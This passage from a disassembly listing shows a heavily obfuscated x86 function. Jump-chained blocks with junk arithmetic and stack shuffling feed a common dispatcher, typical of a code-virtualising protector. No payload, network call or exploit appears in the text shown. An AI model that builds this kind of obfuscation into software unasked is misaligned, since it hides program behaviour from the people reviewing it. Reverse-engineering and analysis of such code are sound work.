		mov	ebp, 4E943EE7h
		not	ebp
		add	ebp, 0FFFFFFFFh
		jmp	loc_5BADFA
; ---------------------------------------------------------------------------


loc_5BD2AB:				; CODE XREF: sub_5A55E5+84F6j
		add	edi, ebx
		jmp	loc_5B05E1
; ---------------------------------------------------------------------------


loc_5BD2B2:				; CODE XREF: sub_5A55E5+1646Dj
		push	ebp
		mov	ebp, 254118E3h
		sub	ebp, 1
		jmp	loc_5BBEA0
; ---------------------------------------------------------------------------


loc_5BD2C3:				; CODE XREF: sub_5A55E5+1628Dj
		shl	ecx, 3
		shr	ecx, 3
		not	ecx
		shr	ecx, 1
		sub	ecx, 2AFFAB1Ch
		mov	ebp, ecx
		pop	ecx
		neg	ebp
		add	ebp, 61BF37E3h
		push	ebp
		pop	esi
		push	[esp+18h+var_18]
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		add	esp, 4
		inc	esi
		dec	esi
		push	7035h
		mov	[esp+18h+var_18], eax
		mov	eax, 50146CB4h
		shl	eax, 1
		add	eax, 1
		jmp	loc_5BE6FE
; ---------------------------------------------------------------------------


loc_5BD305:				; CODE XREF: sub_5A55E5+19796j
		mov	bx, word ptr [esp+18h+var_18]
		add	esp, 2
		push	7FC2h
		jmp	loc_5BB314
; ---------------------------------------------------------------------------


loc_5BD319:				; CODE XREF: sub_5A55E5+A363j
		sub	dl, 0C7h
		sub	dl, al
		jmp	loc_5BD6D9
; ---------------------------------------------------------------------------


loc_5BD323:				; CODE XREF: sub_5A55E5+12745j
		mov	[esp+10h+var_10], edi
		jmp	loc_5B77CB
; ---------------------------------------------------------------------------


loc_5BD32B:				; CODE XREF: sub_5A55E5+8227j
		mov	ebp, 591E6822h
		sub	edi, ebp
		pop	ebp
		sub	ebp, edi
		pop	edi
		sub	ecx, 1796106Dh
		sub	ecx, 2D055315h
		jmp	loc_5AD6EB
; ---------------------------------------------------------------------------


loc_5BD347:				; CODE XREF: sub_5A55E5+FA53j
		add	eax, esi
		sub	eax, 5FF56602h
		sub	eax, 1B1A51CCh
		pop	esi
		jmp	loc_5B35A0
; ---------------------------------------------------------------------------


loc_5BD359:				; CODE XREF: sub_5A55E5+1019Cj
		sub	ebx, ebp
		jmp	loc_5BE34F
; ---------------------------------------------------------------------------


loc_5BD360:				; CODE XREF: sub_5A55E5+9F03j
		push	ebp
		jmp	loc_5AE2FA
; ---------------------------------------------------------------------------


loc_5BD366:				; CODE XREF: sub_5A55E5+CD03j
		mov	byte ptr [esp+20h+var_1C], dh
		jmp	loc_5AB673
; ---------------------------------------------------------------------------


loc_5BD36F:				; CODE XREF: sub_5A55E5+16DB6j
		pop	ebp
		push	esi
		jmp	loc_5BD1B0
; ---------------------------------------------------------------------------


loc_5BD376:				; CODE XREF: sub_5A55E5+F3A3j
		push	small 26C8h
		jmp	loc_5B4953
; ---------------------------------------------------------------------------


loc_5BD37F:				; CODE XREF: sub_5A55E5+13396j
		pop	esi
		push	eax
		jmp	loc_5B3DFD
; ---------------------------------------------------------------------------


loc_5BD386:				; CODE XREF: sub_5A55E5+CB91j
		sub	esi, 0A7088520h
		jmp	loc_5BE328
; ---------------------------------------------------------------------------


loc_5BD391:				; CODE XREF: sub_5A55E5+14D52j
		push	ebp
		mov	ebp, (offset loc_652AE8+1)
		add	ebp, 5E366B32h
		sub	ebp, 7173364Fh
		xor	ebp, 59C2BD3h
		jmp	loc_5BEA17
; ---------------------------------------------------------------------------


loc_5BD3AE:				; CODE XREF: sub_5A55E5+DDA6j
		add	esp, 4
		push	4131h
		mov	[esp+10h+var_10], ebp
		push	[esp+10h+var_C]
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5B2932
; ---------------------------------------------------------------------------


loc_5BD3CE:				; CODE XREF: sub_5A55E5+16CA1j
		pop	eax
		jmp	loc_5BB2D0
; ---------------------------------------------------------------------------


loc_5BD3D4:				; CODE XREF: sub_5A55E5+136D1j
		pop	edx
		jmp	loc_5BE49A
; ---------------------------------------------------------------------------


loc_5BD3DA:				; CODE XREF: sub_5A55E5+6BA3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8Eh+var_90+2]
		jmp	loc_5B65FC
; ---------------------------------------------------------------------------


loc_5BD3EB:				; CODE XREF: sub_5A55E5+ABAFj
		add	esp, 4
		xor	ebp, eax
		mov	eax, [esp+4Ah+var_4A]
		add	esp, 4
		sub	eax, ebp
		jmp	loc_5BF44A
; ---------------------------------------------------------------------------


loc_5BD3FD:				; CODE XREF: sub_5A55E5+FC0Aj
		pop	ebp
		shl	esi, 8
		jmp	loc_5AC471
; ---------------------------------------------------------------------------


loc_5BD406:				; CODE XREF: sub_5A55E5+B288j
		pop	ecx
		xchg	edx, [esp+24h+var_26+2]
		pop	esp
		mov	[esp+20h+var_22+2], eax
		jmp	loc_5BB609
; ---------------------------------------------------------------------------


loc_5BD413:				; CODE XREF: sub_5A55E5+1318Dj
		push	esi
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		add	eax, 28E721E3h
		add	eax, ebx
		sub	eax, 28E721E3h
		push	[esp+26h+var_26]
		pop	ebx
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+22h+var_22]
		pop	esp
		push	788h
		jmp	loc_5BA28A
; ---------------------------------------------------------------------------


loc_5BD442:				; CODE XREF: sub_5A55E5+4C2Fj
		inc	edi
		jmp	loc_5BE266
; ---------------------------------------------------------------------------


loc_5BD448:				; CODE XREF: sub_5A55E5+F799j
		pop	edi
		xor	ebp, 7FDF7DF9h
		push	edi
		jmp	loc_5BE040
; ---------------------------------------------------------------------------


loc_5BD455:				; CODE XREF: sub_5A55E5+13505j
		mov	ecx, 21C33646h
		dec	ecx
		and	ecx, 5708074Bh
		xor	ecx, 166B5CB1h
		xor	ecx, ebx
		pop	ebx
		xor	esi, ecx
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		or	esi, 22F41878h
		jmp	loc_5AE20A
; ---------------------------------------------------------------------------


loc_5BD47D:				; CODE XREF: sub_5A55E5+10C68j
		mov	ebp, 64327ACAh
		mov	esi, ebp
		jmp	loc_5B4C43
; ---------------------------------------------------------------------------


loc_5BD489:				; CODE XREF: sub_5A55E5+19317j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+24h+var_26+2]
		pop	esp
		push	31C4h
		mov	[esp+24h+var_26+2], ecx
		push	esp
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_5ABFB7
; ---------------------------------------------------------------------------


loc_5BD4BA:				; CODE XREF: sub_5A55E5+103E0j
		add	[esp+1Ah+var_1C+2], 4
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5BCAB7
; ---------------------------------------------------------------------------


loc_5BD4D2:				; CODE XREF: sub_5A55E5+152D0j
		sub	di, cx
		pop	cx
		mov	dx, di
		pop	edi
		add	word ptr [esp+12h+var_10], dx
		mov	dx, word ptr [esp+12h+var_14+2]
		push	23EDh
		mov	[esp+16h+var_18+2], esi
		jmp	loc_5BE97A
; ---------------------------------------------------------------------------


loc_5BD4F1:				; CODE XREF: sub_5A55E5+EFEDj
		add	ebp, 5DE076FBh
		jmp	loc_5B6FD7
; ---------------------------------------------------------------------------


loc_5BD4FC:				; CODE XREF: sub_5A55E5+17388j
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 724D233Fh
		push	ecx
		mov	ecx, 19CC00AEh
		push	edi
		mov	edi, 511E588Eh
		xor	ecx, edi
		mov	edi, [esp+30h+var_32+2]
		add	esp, 4
		add	ebp, ecx
		jmp	loc_5B3CE1
; ---------------------------------------------------------------------------


loc_5BD51F:				; CODE XREF: sub_5A55E5+E5E1j
		push	ebp
		pop	edx
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5AFAFD
; ---------------------------------------------------------------------------


loc_5BD52F:				; CODE XREF: sub_5A55E5+948Cj
		xor	edx, 3E20535Bh
		jmp	loc_5AD10A
; ---------------------------------------------------------------------------


loc_5BD53A:				; CODE XREF: sub_5A55E5+C0B3j
		push	[esp+10h+var_10]
		jmp	loc_5B83D5
; ---------------------------------------------------------------------------


loc_5BD542:				; CODE XREF: sub_5A55E5+8E55j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BD547:				; CODE XREF: sub_5A55E5+CB1Dj
		or	eax, ebp
		pop	ebp
		sub	eax, 35BB33D4h
		jmp	loc_5B39A0
; ---------------------------------------------------------------------------


loc_5BD554:				; CODE XREF: sub_5A55E5+15B04j
		mov	ecx, 4
		push	edx
		mov	edx, 4277163Dh
		sub	eax, 12E5236h
		jmp	loc_5AF1CD
; ---------------------------------------------------------------------------


loc_5BD569:				; CODE XREF: sub_5A55E5+514Cj
		pop	[esp+24h+var_26+2]
		jmp	loc_5AD55C
; ---------------------------------------------------------------------------


loc_5BD571:				; CODE XREF: sub_5A55E5+FF22j
		or	ebp, 541A227Bh
		jmp	loc_5AB269
; ---------------------------------------------------------------------------


loc_5BD57C:				; CODE XREF: sub_5A55E5+177A9j
		pop	edi
		neg	ecx
		add	ecx, 0E810DB55h
		sub	edx, ecx
		mov	ecx, [esp+1Ah+var_1C+2]
		jmp	loc_5A9F19
; ---------------------------------------------------------------------------


loc_5BD58F:				; CODE XREF: sub_5A55E5+EDFFj
		mov	eax, 63FF48A2h
		push	63FF4C9Eh
		mov	ecx, [esp+2Ch+var_2E+2]
		add	esp, 4
		sub	ecx, eax
		jmp	loc_5B74DB
; ---------------------------------------------------------------------------


loc_5BD5A9:				; CODE XREF: sub_5A55E5+1416Cj
		pop	edx
		xchg	esi, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		mov	[esp+50h+var_50], ebx
		push	[esp+50h+var_50]
		mov	eax, [esp+54h+var_54]
		jmp	loc_5BDB50
; ---------------------------------------------------------------------------


loc_5BD5BE:				; CODE XREF: sub_5A55E5+56F0j
		mov	cl, 98h
		not	cl
		push	ebx
		mov	bh, 0CCh
		jmp	loc_5AD709
; ---------------------------------------------------------------------------


loc_5BD5CA:				; CODE XREF: sub_5A55E5+DF88j
		push	ebp
		push	ebx
		mov	ebx, 16F97557h
		dec	ebx
		neg	ebx
		xor	ebx, 274B616Bh
		add	ebx, 0F171422h
		xor	ebx, 2D70685Eh
		jmp	loc_5AA4AC
; ---------------------------------------------------------------------------


loc_5BD5EB:				; CODE XREF: sub_5A55E5+167C8j
		xchg	ebx, [esp+28h+var_2A+2]
		pop	esp
		add	eax, 4
		push	eax
		push	[esp+28h+var_26+2]
		pop	eax
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_5BB589
; ---------------------------------------------------------------------------


loc_5BD605:				; CODE XREF: sub_5A55E5+1364Cj
		add	edx, edi
		sub	edx, 736E4E10h
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		xor	edx, [esp+0Ch+var_C]
		jmp	loc_5BF164
; ---------------------------------------------------------------------------


loc_5BD61B:				; CODE XREF: sub_5A55E5+53FEj
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5B4169
; ---------------------------------------------------------------------------


loc_5BD627:				; CODE XREF: sub_5A55E5+E495j
		push	[esp+0Eh+var_C+2]
		mov	ecx, [esp+12h+var_14+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5BEA9C
; ---------------------------------------------------------------------------


loc_5BD63C:				; CODE XREF: sub_5A55E5+FE69j
		push	[esp+24h+var_26+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5BEF61
; ---------------------------------------------------------------------------


loc_5BD648:				; CODE XREF: sub_5A55E5+11DE0j
		sub	esp, 4
		mov	[esp+20h+var_22+2], edx
		push	4
		pop	edx
		add	ebx, 17D20AECh
		add	ebx, edx
		sub	ebx, 17D20AECh
		jmp	loc_5AB385
; ---------------------------------------------------------------------------


loc_5BD66A:				; CODE XREF: sub_5A55E5+EA76j
		push	esi
		push	edi
		mov	edi, 6ABB212Ah
		xor	edi, 4EC25ECFh
		xor	edi, 1E3C28D6h
		sub	edi, 3A455731h
		mov	esi, edi
		pop	edi
		add	edx, esi
		push	[esp+6Ah+var_6C+2]
		jmp	loc_5AEC29
; ---------------------------------------------------------------------------


loc_5BD690:				; CODE XREF: sub_5A55E5+FFE5j
		push	esi
		mov	esi, 2DE30D5Ah
		jmp	loc_5AE462
; ---------------------------------------------------------------------------


loc_5BD69B:				; CODE XREF: sub_5A55E5+A274j
		push	2F8330C5h
		pop	ecx
		jmp	loc_5B390D
; ---------------------------------------------------------------------------


loc_5BD6A6:				; CODE XREF: sub_5A55E5+11602j
		pop	edx
		jmp	loc_5AAD0D
; ---------------------------------------------------------------------------


loc_5BD6AC:				; CODE XREF: sub_5A55E5+F06Ej
		xor	eax, [esp+12h+var_14+2]
		pop	esp
		mov	word ptr [esp+0Eh+var_10+2], ax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BD6B9:				; CODE XREF: sub_5A55E5+C7D7j
		sub	ebx, 6F925FEEh
		push	[esp+52h+var_54+2]
		pop	ecx
		jmp	loc_5B9961
; ---------------------------------------------------------------------------


loc_5BD6C8:				; CODE XREF: sub_5A55E5+19AC2j
		mov	ebx, [esp+52h+var_54+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5ABD0E
; ---------------------------------------------------------------------------


loc_5BD6D9:				; CODE XREF: sub_5A55E5+17D39j
		push	ecx
		mov	cl, 60h
		sub	cl, 99h
		sub	dl, 0C0h
		jmp	loc_5B6B09
; ---------------------------------------------------------------------------


loc_5BD6E7:				; CODE XREF: sub_5A55E5+6C99j
		add	eax, edx
		add	eax, 61D122F5h
		xor	dword ptr [eax], 16870531h
		jmp	loc_5ADAF4
; ---------------------------------------------------------------------------


loc_5BD6F9:				; CODE XREF: sub_5A55E5+D3A3j
		mov	cl, al
		mov	bh, cl
		pop	ecx
		mov	ch, bh
		pop	ebx
		not	ch
		push	edx
		mov	dh, ch
		mov	al, dh
		push	[esp+30h+var_32+2]
		pop	edx
		add	esp, 4
		jmp	loc_5B07AE
; ---------------------------------------------------------------------------


loc_5BD717:				; CODE XREF: sub_5A55E5+689Ej
		push	[esp+26h+var_26]
		mov	esi, [esp+2Ah+var_2A]
		add	esp, 4
		jmp	loc_5B0943
; ---------------------------------------------------------------------------


loc_5BD728:				; CODE XREF: sub_5A55E5+8A39j
		mov	eax, 32BE6918h
		sub	eax, 32BE6914h
		add	esi, eax
		jmp	loc_5BC23A
; ---------------------------------------------------------------------------


loc_5BD739:				; CODE XREF: sub_5A55E5+159CEj
		xor	edx, ebp
		jmp	loc_5AF61F
; ---------------------------------------------------------------------------


loc_5BD740:				; CODE XREF: sub_5A55E5+8AA2j
		pop	edx
		push	edx
		mov	edx, 4F6E4990h
		not	edx
		neg	edx
		sub	edx, 4AA3727Dh
		not	edx
		jmp	loc_5B01DE
; ---------------------------------------------------------------------------


loc_5BD758:				; CODE XREF: sub_5A55E5+16C2Ej
		push	ebx
		mov	ebx, 76A53501h
		push	ebp
		mov	ebp, 593C145Fh
		or	ebx, ebp
		pop	ebp
		jmp	loc_5AABDA
; ---------------------------------------------------------------------------


loc_5BD76C:				; CODE XREF: sub_5A55E5+DE7Cj
		or	edx, eax
		jmp	loc_5AE13C
; ---------------------------------------------------------------------------


loc_5BD773:				; DATA XREF: sub_5A55E5+428Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+12h+var_14+2], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BD783:				; CODE XREF: sub_5A55E5+7F7Cj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0Ch+var_C]
		jmp	loc_5AB1D1
; ---------------------------------------------------------------------------


loc_5BD797:				; CODE XREF: sub_5A55E5+F8F4j
		add	eax, esi
		mov	esi, [esp+36h+var_36]
		add	esp, 4
		xchg	eax, [esp+32h+var_32]
		jmp	loc_5B99D0
; ---------------------------------------------------------------------------


loc_5BD7A7:				; CODE XREF: sub_5A55E5+14EBCj
		not	byte ptr [esp+26h+var_26+1]
		add	byte ptr [esp+26h+var_26+1], 1
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		neg	dh
		jmp	loc_5B4FED
; ---------------------------------------------------------------------------


loc_5BD7C0:				; CODE XREF: sub_5A55E5+10903j
		add	esp, 4
		mov	esi, [esp+2Ch+var_2E+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+30h+var_32+2]
		pop	esp
		and	eax, ebp
		push	[esp+2Ch+var_2E+2]
		jmp	loc_5BD0BC
; ---------------------------------------------------------------------------


loc_5BD7E3:				; CODE XREF: sub_5A55E5+FA13j
		or	ch, 0D3h
		and	ch, 43h
		jmp	loc_5BC35B
; ---------------------------------------------------------------------------


loc_5BD7EE:				; CODE XREF: sub_5A55E5+1895Fj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	193Ah
		mov	[esp+62h+var_64+2], ecx
		push	[esp+62h+var_60+2]
		pop	ecx
		pop	[esp+62h+var_64+2]
		jmp	loc_5BF054
; ---------------------------------------------------------------------------


loc_5BD80E:				; CODE XREF: sub_5A55E5+5A92j
		pop	eax
		xor	edx, [esp+2Ch+var_2E+2]
		xor	[esp+2Ch+var_2E+2], edx
		xor	edx, [esp+2Ch+var_2E+2]
		pop	esp
		xor	eax, 39053947h
		push	ecx
		jmp	loc_5B99C0
; ---------------------------------------------------------------------------


loc_5BD824:				; CODE XREF: sub_5A55E5+19301j
		add	ebp, 4
		jmp	loc_5B7377
; ---------------------------------------------------------------------------


loc_5BD82F:				; CODE XREF: sub_5A55E5+599Bj
		push	ecx
		push	edx
		push	4E89040Ah
		pop	edx
		shr	edx, 1
		dec	edx
		sub	edx, 0EC525CB6h
		mov	ecx, edx
		pop	edx
		jmp	loc_5AB7C4
; ---------------------------------------------------------------------------


loc_5BD848:				; CODE XREF: sub_5A55E5+EE21j
		add	eax, 4F9A7756h
		add	eax, edi
		jmp	loc_5B6883
; ---------------------------------------------------------------------------


loc_5BD854:				; CODE XREF: sub_5A55E5+9DE4j
		pop	esi
		add	esp, 4
		mov	ecx, [esp+28h+var_2A+2]
		jmp	loc_5BC293
; ---------------------------------------------------------------------------


loc_5BD863:				; DATA XREF: sub_5A55E5+41D7o
		mov	ax, word ptr [esp+10h+var_10]
		push	532Dh
		mov	[esp+14h+var_14], edi
		push	esp
		pop	edi
		push	esi
		push	ebx
		mov	ebx, 4
		mov	esi, ebx
		pop	ebx
		add	edi, 55142F4Ch
		jmp	loc_5BBC3B
; ---------------------------------------------------------------------------


loc_5BD886:				; CODE XREF: sub_5A55E5+A7F6j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+5Eh+var_60+2]
		pop	esp
		push	2245h
		mov	[esp+5Eh+var_60+2], ebp
		push	[esp+5Eh+var_5C+2]
		jmp	loc_5BE4FF
; ---------------------------------------------------------------------------


loc_5BD8A4:				; CODE XREF: sub_5A55E5+118C5j
		mov	ebp, 3EAB54DDh
		shr	ebp, 6
		shl	ebp, 4
		sub	ebp, 2DC1900h
		add	ebp, 21A1806Ah
		sub	edi, ebp
		pop	ebp
		mov	eax, [esp+14h+var_14]
		jmp	loc_5BE5BE
; ---------------------------------------------------------------------------


loc_5BD8C6:				; CODE XREF: sub_5A55E5+B683j
		add	ecx, 4
		jmp	loc_5BD07E
; ---------------------------------------------------------------------------


loc_5BD8D1:				; CODE XREF: sub_5A55E5+FAB3j
		pop	edx
		sub	esp, 4
		jmp	loc_5B2146
; ---------------------------------------------------------------------------


loc_5BD8DA:				; CODE XREF: sub_5A55E5+1999Ej
		pop	eax
		jmp	loc_5B3A25
; ---------------------------------------------------------------------------


loc_5BD8E0:				; CODE XREF: sub_5A55E5+174F2j
		sub	esi, 2
		xchg	esi, [esp+28h+var_2A+2]
		jmp	loc_5B57CF
; ---------------------------------------------------------------------------


loc_5BD8EB:				; CODE XREF: sub_5A55E5+15FB2j
		push	esi
		push	ebp
		mov	ebp, 22EA2531h
		mov	esi, 479F2C0Eh
		jmp	loc_5AE5A4
; ---------------------------------------------------------------------------


loc_5BD8FC:				; CODE XREF: sub_5A55E5+115ACj
		add	edx, ecx
		add	edx, 3D0D02B8h
		jmp	loc_5B39A8
; ---------------------------------------------------------------------------


loc_5BD909:				; CODE XREF: sub_5A55E5+102EFj
		xchg	ebx, [esp+26h+var_26]
		pop	esp
		push	4550h
		mov	[esp+26h+var_26], ecx
		push	edi
		push	24B9h
		mov	[esp+2Eh+var_2E], eax
		sub	esp, 4
		mov	[esp+32h+var_32], ebp
		mov	ebp, 1E045454h
		push	edx
		mov	edx, 54CD1E29h
		mov	eax, edx
		pop	edx
		or	eax, 2FCF0617h
		shr	eax, 1
		xor	eax, 0CAC2C5Ah
		jmp	loc_5B3A8B
; ---------------------------------------------------------------------------


loc_5BD946:				; CODE XREF: sub_5A55E5+B008j
		sub	ebx, 92E1EBBh
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_5B54F1
; ---------------------------------------------------------------------------


loc_5BD95C:				; CODE XREF: sub_5A55E5+12ADEj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BD961:				; CODE XREF: sub_5A55E5+9077j
		pop	eax
		jmp	loc_5BCB2F
; ---------------------------------------------------------------------------


loc_5BD967:				; CODE XREF: sub_5A55E5+1729Ej
		push	317Eh
		mov	[esp+24h+var_26+2], esi
		push	[esp+24h+var_22+2]
		mov	esi, [esp+28h+var_2A+2]
		push	esi
		jmp	loc_5AF6A8
; ---------------------------------------------------------------------------


loc_5BD97C:				; CODE XREF: sub_5A55E5+5B8Aj
		pop	ecx
		add	ecx, 4
		jmp	loc_5AEBDC
; ---------------------------------------------------------------------------


loc_5BD988:				; CODE XREF: sub_5A55E5+149A4j
		mov	eax, 437A3447h
		add	eax, 20E00E95h
		push	edx
		mov	edx, 0C872ED2h
		jmp	loc_5AA88F
; ---------------------------------------------------------------------------


loc_5BD99D:				; CODE XREF: sub_5A55E5+18806j
		mov	[esp+34h+var_36+2], ebx
		mov	bh, 0EDh
		jmp	loc_5AA877
; ---------------------------------------------------------------------------


loc_5BD9A7:				; CODE XREF: sub_5A55E5+D1C4j
		push	ecx
		mov	ecx, 2DDEE79h
		add	esi, ecx
		jmp	loc_5ABFEF
; ---------------------------------------------------------------------------


loc_5BD9B4:				; CODE XREF: sub_5A55E5+B91Fj
		xchg	ebx, [esp+22h+var_22]
		jmp	loc_5BBB46
; ---------------------------------------------------------------------------


loc_5BD9BC:				; CODE XREF: sub_5A55E5+19644j
		xchg	ecx, edx
		shr	edx, 6
		push	esi
		mov	esi, 5F2ADBE0h
		sub	edx, esi
		pop	esi
		sub	esi, edx
		jmp	loc_5B534C
; ---------------------------------------------------------------------------


loc_5BD9D1:				; CODE XREF: sub_5A55E5+9A77j
		pop	[esp+20h+var_22+2]
		push	ecx
		mov	ecx, 4
		add	[esp+20h+var_1C], ecx
		jmp	loc_5B925E
; ---------------------------------------------------------------------------


loc_5BD9E3:				; CODE XREF: sub_5A55E5+15079j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		sub	bl, 0Dh
		shr	bl, 2
		jmp	loc_5B127B
; ---------------------------------------------------------------------------


loc_5BDA00:				; CODE XREF: sub_5A55E5+4485j
		mov	ah, 0Ch
		jmp	loc_5B5020
; ---------------------------------------------------------------------------


loc_5BDA07:				; CODE XREF: sub_5A55E5+C5F4j
		neg	ch
		xor	ch, 70h
		jmp	loc_5B4781
; ---------------------------------------------------------------------------


loc_5BDA11:				; CODE XREF: sub_5A55E5+12791j
		pop	edx
		jmp	loc_5B02D8
; ---------------------------------------------------------------------------


loc_5BDA17:				; CODE XREF: sub_5A55E5+153E0j
		xor	ebx, esi
		pop	esi
		shl	ebx, 7
		sub	ebx, 29D727E7h
		jmp	loc_5B8BBC
; ---------------------------------------------------------------------------


loc_5BDA28:				; CODE XREF: sub_5A55E5+6540j
		pop	edx
		jmp	loc_5B82F6
; ---------------------------------------------------------------------------


loc_5BDA2E:				; CODE XREF: sub_5A55E5+DF22j
		sub	ecx, 1FD328FBh
		sub	ecx, 596E118Fh
		add	ecx, 0A39E3465h
		add	edx, ecx
		pop	ecx
		push	4A4Ch
		mov	[esp+20h+var_22+2], edi
		push	edx
		jmp	loc_5B4A2F
; ---------------------------------------------------------------------------


loc_5BDA51:				; CODE XREF: sub_5A55E5+198F4j
		push	edx
		mov	edx, esp
		jmp	loc_5ADD65
; ---------------------------------------------------------------------------


loc_5BDA59:				; CODE XREF: sub_5A55E5+1411Dj
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		push	edx
		jmp	loc_5B0CCE
; ---------------------------------------------------------------------------


loc_5BDA65:				; CODE XREF: sub_5A55E5+16AD7j
		add	edx, 579C4AAEh
		jmp	loc_5B42DB
; ---------------------------------------------------------------------------


loc_5BDA70:				; CODE XREF: sub_5A55E5+196C8j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+3Ah+var_3A]
		pop	esp
		xchg	esi, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		cmp	ecx, eax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BDA90:				; CODE XREF: sub_5A55E5+B3F3j
		mov	ecx, 6E96EA1h
		jmp	loc_5AE71A
; ---------------------------------------------------------------------------


loc_5BDA9A:				; CODE XREF: sub_5A55E5+19D16j
		pop	esp
		mov	[esp+28h+var_2A+2], ebx
		push	eax
		jmp	loc_5B8BEC
; ---------------------------------------------------------------------------


loc_5BDAA4:				; CODE XREF: sub_5A55E5+19390j
		mov	[esp+2Ch+var_2E+2], eax
		jmp	loc_5B9D90
; ---------------------------------------------------------------------------


loc_5BDAAC:				; CODE XREF: sub_5A55E5+9A49j
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5B28B5
; ---------------------------------------------------------------------------


loc_5BDAB8:				; CODE XREF: sub_5A55E5+6875j
		sub	edx, 0BDCC1EE1h
		jmp	loc_5AFCAC
; ---------------------------------------------------------------------------


loc_5BDAC3:				; CODE XREF: sub_5A55E5+F62Aj
		push	[esp+4Ah+var_46]
		push	[esp+4Eh+var_50+2]
		mov	ecx, [esp+52h+var_54+2]
		add	esp, 4
		jmp	loc_5AC834
; ---------------------------------------------------------------------------


loc_5BDAD5:				; CODE XREF: sub_5A55E5+D4F4j
		pop	eax
		add	edx, 6D062F28h
		jmp	loc_5B29A1
; ---------------------------------------------------------------------------


loc_5BDAE1:				; CODE XREF: sub_5A55E5+10B7Ej
		pop	edi
		shl	eax, 3
		sub	eax, 9BC5FCD4h
		add	edx, 7C542D34h
		jmp	loc_5B0562
; ---------------------------------------------------------------------------


loc_5BDAF5:				; CODE XREF: sub_5A55E5+BBF5j
		mov	esp, [esp+14h+var_14]
		push	small 5C33h
		mov	word ptr [esp+16h+var_18+2], dx
		push	eax
		jmp	loc_5AF36A
; ---------------------------------------------------------------------------


loc_5BDB06:				; CODE XREF: sub_5A55E5+E0E9j
		sub	ebp, 5AC421EDh
		add	ebp, esi
		push	edx
		mov	edx, 5AC421EDh
		add	ebp, edx
		jmp	loc_5BDD7B
; ---------------------------------------------------------------------------


loc_5BDB1B:				; CODE XREF: sub_5A55E5+9693j
		xor	edi, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		push	4EC3h
		jmp	loc_5ACFCB
; ---------------------------------------------------------------------------


loc_5BDB2B:				; CODE XREF: sub_5A55E5+19E0Fj
		xor	esi, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		dec	word ptr [esp+40h+var_42+2]
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BDB3B:				; CODE XREF: sub_5A55E5+5A7Aj
		pop	[esp+30h+var_32+2]
		mov	esp, [esp+2Ch+var_2E+2]
		jmp	loc_5BB397
; ---------------------------------------------------------------------------


loc_5BDB46:				; CODE XREF: sub_5A55E5+E06Ej
		push	3A4Ch
		jmp	loc_5A9B1F
; ---------------------------------------------------------------------------


loc_5BDB50:				; CODE XREF: sub_5A55E5+17FD4j
		add	esp, 4
		push	ecx
		push	34ABh
		mov	[esp+58h+var_58], esp
		add	[esp+58h+var_58], 4
		pop	ecx
		jmp	loc_5A9C4C
; ---------------------------------------------------------------------------


loc_5BDB66:				; CODE XREF: sub_5A55E5+16E29j
		add	ch, 32h
		shr	ch, 7
		add	ch, 8Ah
		shl	ch, 5
		sub	ch, 89h
		jmp	loc_5B1C89
; ---------------------------------------------------------------------------


loc_5BDB7A:				; CODE XREF: sub_5A55E5+7B0Bj
		sub	edi, ebx
		sub	edi, 13CB4116h
		push	esi
		push	eax
		push	ebx
		jmp	loc_5B5B60
; ---------------------------------------------------------------------------


loc_5BDB8A:				; CODE XREF: sub_5A55E5+14CA0j
		add	ecx, edi
		jmp	loc_5B9397
; ---------------------------------------------------------------------------


loc_5BDB91:				; CODE XREF: sub_5A55E5+5661j
		xor	ebp, [esp+36h+var_36]
		xor	[esp+36h+var_36], ebp
		xor	ebp, [esp+36h+var_36]
		pop	esp
		jmp	loc_5ADDBA
; ---------------------------------------------------------------------------


loc_5BDBA0:				; CODE XREF: sub_5A55E5+177C5j
		add	edx, esi
		jmp	loc_5B15F0
; ---------------------------------------------------------------------------


loc_5BDBA7:				; CODE XREF: sub_5A55E5+13D21j
		sub	eax, edi
